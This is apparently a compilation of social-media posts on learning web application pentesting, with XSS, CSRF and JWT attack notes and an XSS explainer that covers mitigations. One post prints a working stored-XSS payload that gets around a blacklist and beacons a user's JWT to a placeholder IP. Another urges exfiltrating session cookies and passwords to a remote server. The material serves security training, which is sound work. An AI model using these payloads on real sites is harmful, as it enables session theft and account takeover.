Common Web Vulnerabilities to Exploit

I’ve been getting tons of DMs lately from beginners asking… "How do I start Web Application Pentesting? Is there a clear roadmap?” Let’s break it down. No fluff. No cert talk. Just the real path 👇 🔹 Step 1: Understand How the Web Works (Foundation First) Before breaking anything, know how it’s built. ✅ What to Learn: What is HTTP/HTTPS How browsers send requests Basics of HTML, JS, and cookies What servers do (client vs server) 📚 Free Resources: MDN Web Docs – How the Web Works HTTP Crash Course (YouTube) Web Security Fundamentals – Codecademy 🧠 Tip: Use browser DevTools (F12) → Network tab to observe real web traffic. 🔹 Step 2: Learn the OWASP Top 10 (Core Vulnerabilities) These are the 10 most common and important web vulnerabilities. ✅ Start With 3 First: XSS (Cross-Site Scripting) SQL Injection Broken Authentication 📚 Free Labs: PortSwigger Web Security Academy (Start here) OWASP Juice Shop – For beginners TryHackMe OWASP Top 10 Room 🧠 Tip: Focus on understanding the logic behind each attack, not just the payload. 🔹 Step 3: Set Up a Simple Hacking Lab (No Cost) ✅ What You Need: Burp Suite Community Edition TryHackMe (Start with free rooms) OWASP Juice Shop Live DVWA (Damn Vulnerable Web App) (Use locally) 📚 Step-by-Step Setup Guide: TryHackMe Intro to Pentesting Path How to Set Up DVWA (Video) 🧠 Tip: You don’t need a virtual machine yet. Just start with hosted labs. 🔹 Step 4: Learn the Pentesting Tools ✅ Tools to Start With: Burp Suite (Request interception, scanning) OWASP ZAP (Open-source Burp alternative) Postman (Manual HTTP request crafting) WhatWeb / Dirb (Recon tools) 📚 How to Learn Them: Burp Suite Academy ZAP Tutorials by OWASP Postman API Beginner Guide 🧠 Tip: Start with intercepting and replaying a login request in Burp. 🔹 Step 5: Practice with Mini Projects ✅ Do These Projects: 🔐 Try to bypass login with SQLi in DVWA 🧪 Inject simple XSS in a comment form 📄 Document 1 bug per week with screenshots 🎯 Complete the first 5 labs in Web Security Academy 📚 Resources: HackTricks GitHub – For deeper examples PayloadsAllTheThings GitHub – For testing inputs 🧠 Tip: Use Notion or GitHub to document every vuln and what you tried. 🔹 Step 6: Build a Public Portfolio (Even Without a Job) ✅ What to Share: Your notes from each lab (1 post per vuln) A personal GitHub repo with: → Lab writeups → Tools you used → Scripts you tried (even if simple) 📚 Examples: Ben Sadeghipour's GitHub LiveOverFlow YouTube 🧠 Tip: Recruiters LOVE seeing curiosity and consistency more than certificates. 🔹 Step 7: (Optional) Get Into Bug Bounties ✅ Start With Beginner-Friendly Platforms: Hacker101 CTF HackTheBox Starting Point Bugcrowd University 🧠 Tip: Don’t chase bounties — chase learning. Start with disclosure-only programs.

Do you want to be a great pentester? Always look for new ways to bypass security controls built to stop your exploit. If there is a blacklist, there is a way. On a recent engagement there was a stored cross-site scripting vulnerability found. Most of the common methods to validate were blacklisted. You couldn't use alert(), eval(), or fetch(). No script tags. document.cookie was no good. Including an equal sign would get blocked. Surprisingly, even the burp collaborator domain was blocked. Thankfully, there wasn't a limit to the payload length, and the JWT was stored within window.localStorage. Final payload: <img src=/proxy/https/www.linkedin.com/top-content/technology/cybersecurity-exploit-techniques/x onerror=navigator.sendBeacon('https://x.x.x.x/ex',JSON.stringify({key: window.localStorage.jwt_token}));> navigator.sendBeacon() is a great alternative to fetch(). There is a limit to the data size that can be sent per request, but plenty big enough to grab some session tokens.

Real-world Critical Vulnerabilities: CSRF + Mass-Assignment = Privilege Escalation to Admin 🥷 𝐄𝐧𝐮𝐦𝐞𝐫𝐚𝐭𝐢𝐨𝐧 During a pentest a while ago, I saw that the 'GET /user' endpoint returned a JSON with user information and a ton of permission flags (all booleans), most notably 'isAdmin'. The app also had a 'POST /user' endpoint, which allowed editing our current user. 𝐈𝐝𝐞𝐧𝐭𝐢𝐟𝐲𝐢𝐧𝐠 𝐌𝐢𝐬𝐜𝐨𝐧𝐟𝐢𝐠𝐮𝐫𝐚𝐭𝐢𝐨𝐧𝐬 Naturally, I tried updating my user and setting the 'isAdmin' flag to 'true' but that didn't work. Interestingly, the app didn't have any CSRF tokens, and the cookie was set to 'SameSite=none', meaning the developers relied on the app using JSON to mitigate CSRF. Fortunately, the app also accepted URL-encoded POST requests, which means that we have successfully identified a CSRF vulnerability! 𝐄𝐬𝐜𝐚𝐥𝐚𝐭𝐢𝐧𝐠 𝐂𝐒𝐑𝐅 Now, a CSRF vulnerability is nice, but it would be of Medium severity. So the next thing we have to do is escalate it. For this, I went back to the 'POST /user' endpoint and realized that it was vulnerable to Mass Assignment, meaning an admin user can set the 'isAdmin' flag for any user (it's hard to say if this was intended or not). 𝐄𝐱𝐩𝐥𝐨𝐢𝐭𝐚𝐭𝐢𝐨𝐧 This means that we can create an HTML snippet like the one I attached to this post, and host this on dub-flow[.]com. Then, lure an admin user of the app onto this page. Once they open the page, a POST request is sent to the app that makes my user an admin.

📚 The Ultimate Guide to JWT Vulnerabilities and Attacks With Exploitation Examples 💻 Louis Nyffenegger provides a comprehensive guide to JWT vulnerabilities and attacks, covering issues like: * Failing to verify the signature * Using the none algorithm * Weak secrets (e.g. weak HMAC keys) * Algorithm confusion (RSA to HMAC) * Key ID injection * Embedded JSON Web Key * and more. The post walks through exploitation and mitigations for each, and links to PentesterLab exercises for hands-on practice. Nice! https://lnkd.in/gi_72KZv

🔐 Want to learn about Web App Security? Over the past few weeks, I’ve been diving deep into TCM Security's Practical Bug Bounty Program, and I thought why not give a little review of things I picked up along the way. Here are some key takeaways from Authentication and Authorization Attacks: 🛑 Broken Authentication is everywhere Even mature apps can have flawed login workflows, improper session handling, or weak password reset logic. Watching how a single misstep can lead to account takeover was eye-opening. 🛑 Authorization ≠ Authentication Just because you're logged in doesn’t mean you should have access. I saw firsthand how IDOR (Insecure Direct Object Reference) and privilege escalation vulnerabilities can go unnoticed until someone abuses them. 🛑 Session hijacking isn’t dead Poorly implemented JWTs, missing HttpOnly or Secure flags, and lack of session expiration still lead to session fixation and takeover. 🛑 Bypassing 2FA is more common than you think Some applications treat 2FA as a one-time setup, never checking it again after login. Misconfigured flows allow attackers to completely skip 2FA prompts. 🛑 Burp Suite is your best friend From intercepting requests to manipulating cookies and headers, the right tools make these attack vectors much easier to understand and exploit responsibly. 💡 Biggest Lesson: Most of these issues aren’t about complex exploits, they’re about developers making assumptions. As security professionals, it’s our job to challenge those assumptions and ensure every path is protected. If you’re learning security or want to sharpen your web app testing skills, I HIGHLY recommend checking out the Bug Bounty Program from TCM Security. It’s hands-on, practical, and filled with real-world examples. Let’s keep building safer systems, one vulnerability at a time. 🛡️ Stay tuned for more reviews of this course! #BugBounty #TCMSecurity #Authentication #Authorization #WebAppSecurity

Penetration Testing Tip of the Week! Don't use alert boxes to prove your Cross-Site Scripting vulnerability finding. You are a manual, experienced tester - prove your value and justify the finding! Continuing on my theme of distinguishing your manual testing effort from automated tools, use that effort to provide value where a tool can't, such as demonstrating unique exploits for common vulnerabilities, like Cross-Site Scripting (XSS). Use some scripting knowledge and combine the XSS vulnerability with a CSRF to: 🔸 Change the user's password to a known value 🔸 Add a new user to the application 🔸 Do *anything* that requires admin rights Alternatively, set up a remote server (Burp's collaborator is a great tool for this) and exfiltrate: 🔸 Session cookies 🔸 User lists 🔸 User profiles 🔸 Passwords (if available) 🔸 Internal data Be responsible, of course - don't exfiltrate more data than you need and don't steal actual production data, if you don't have to. But, don't just pop an alert box and assume that your client will take the finding seriously. #security #cybersecurity #penetrationtesting #pentesting #reporting #providevalue

🔐 Mastering Advanced Web Attacks & Exploitation (AWAE) 🔐 Have you ever wondered how deeply chained web vulnerabilities can impact security? Modern web applications offer rich functionality—but also expose complex attack surfaces. 🔍 AWAE Highlights: Discover vulnerabilities beyond basic SQL Injection and file inclusion. Gain insights into chained vulnerabilities leading to Remote Code Execution (RCE). Learn techniques to recover and analyze .NET and Java source code from compiled applications using powerful tools like BurpSuite, dnSpy, and JD-GUI. ⚡ Real-World Techniques & Tools: BurpSuite Proxy: Powerful web traffic inspection, request manipulation, and fuzzing capabilities. dnSpy: Effortlessly decompile, analyze, debug, and modify .NET assemblies—crucial for deep vulnerability analysis. JD-GUI: Decompile Java bytecode to source, unveiling critical security flaws. 🎯 From XSS to RCE: Practical demonstration of exploiting Cross-Site Scripting (XSS) to hijack admin sessions. Escalate privileges and compromise security posture to achieve RCE, demonstrating a full penetration lifecycle. 🚩 Why AWAE Matters: Understanding advanced exploitation is crucial for effective penetration testing and securing modern web applications. AWAE teaches a systematic, repeatable approach to identifying and exploiting complex vulnerabilities. 👉 Skills you'll sharpen: Deep web vulnerability analysis Source code recovery and modification Multi-stage exploit development Real-time debugging and code inspection Ready to elevate your cybersecurity skills? Dive deep, think strategically, and secure smarter. 🔥 #CyberSecurity #PenetrationTesting #WebSecurity #EthicalHacking #Exploitation #OffensiveSecurity #AWAE #Infosec #BurpSuite #dnSpy #JDGUI #XSS #RCE #SecureCoding #ContinuousLearning

Everything You Need to Know About Cross-Site Scripting (XSS) 🚨 Cross-Site Scripting (XSS) is one of the most common and dangerous vulnerabilities found in web applications. It allows attackers to inject malicious scripts into webpages viewed by other users. Here's a detailed look at how XSS works, its types, and how you can protect your applications. Types of XSS: 1️⃣ Reflected XSS: - Process:  🔗 Attacker injects a script into a link.  🔗 The victim clicks on the malicious link.  🔗The server reflects the script back in the response.  🔗 The browser executes the malicious script, leading to potential data theft or session hijacking. - Example: Injecting <script>alert('XSS')</script> into a search query URL. - Visual: 2️⃣ Stored XSS: - Process:  🔗 Attacker submits malicious script through a form (e.g., comment section).  🔗 The script is stored on the server.  🔗 When another user requests the stored content, the script is served and executed in their browser. - Example: Injecting <script>alert('XSS')</script> into a forum post. - Visual: 3️⃣ DOM-based XSS: - Process:  🔗 The attacker manipulates the DOM environment of the webpage.  🔗 The malicious script is executed on the client-side, without involving the server. - Example: A JavaScript snippet that reads data from the URL and writes it into the webpage without proper validation. - Visual: How Attackers Exploit XSS: Attackers exploit XSS vulnerabilities by injecting malicious scripts that execute in the victim's browser. These scripts can steal cookies, session tokens, or other sensitive information, redirect users to malicious sites, or perform actions on behalf of the user. Mitigation Strategies: 1️⃣ Implement Content Security Policy (CSP): - CSP helps prevent XSS by specifying which dynamic resources are allowed to load. - Example: Content-Security-Policy: script-src 'self'; 2️⃣ Input Sanitization: - Sanitize user input to remove or encode characters that could be interpreted as code. - Example: Replacing < with &lt; and > with &gt;. 3️⃣ Escaping Output: - Escape data before rendering it on the webpage. - Example: Using libraries like OWASP's Java Encoder Project to safely encode data. 4️⃣ Use HTTPOnly Cookies: - HTTPOnly cookies prevent JavaScript from accessing cookie data, reducing the risk of session theft. - Example: Set-Cookie: sessionId=abc123; HttpOnly Visual Summary: - Reflected XSS: - Stored XSS: - DOM-based XSS: - Mitigation Techniques:  🔗 Implement CSP  🔗 Input Sanitization  🔗 Escaping Output  🔗 Use HTTPOnly Cookies Conclusion: Cross-Site Scripting is a serious threat to web application security, but with proper understanding and implementation of security measures, it can be effectively mitigated. Regularly updating your security practices and educating your team about potential vulnerabilities are key steps in maintaining a secure application environm Follow Wallarm: API Security Leader #XSS #CrossSiteScripting #WebSecurity #CyberSecurity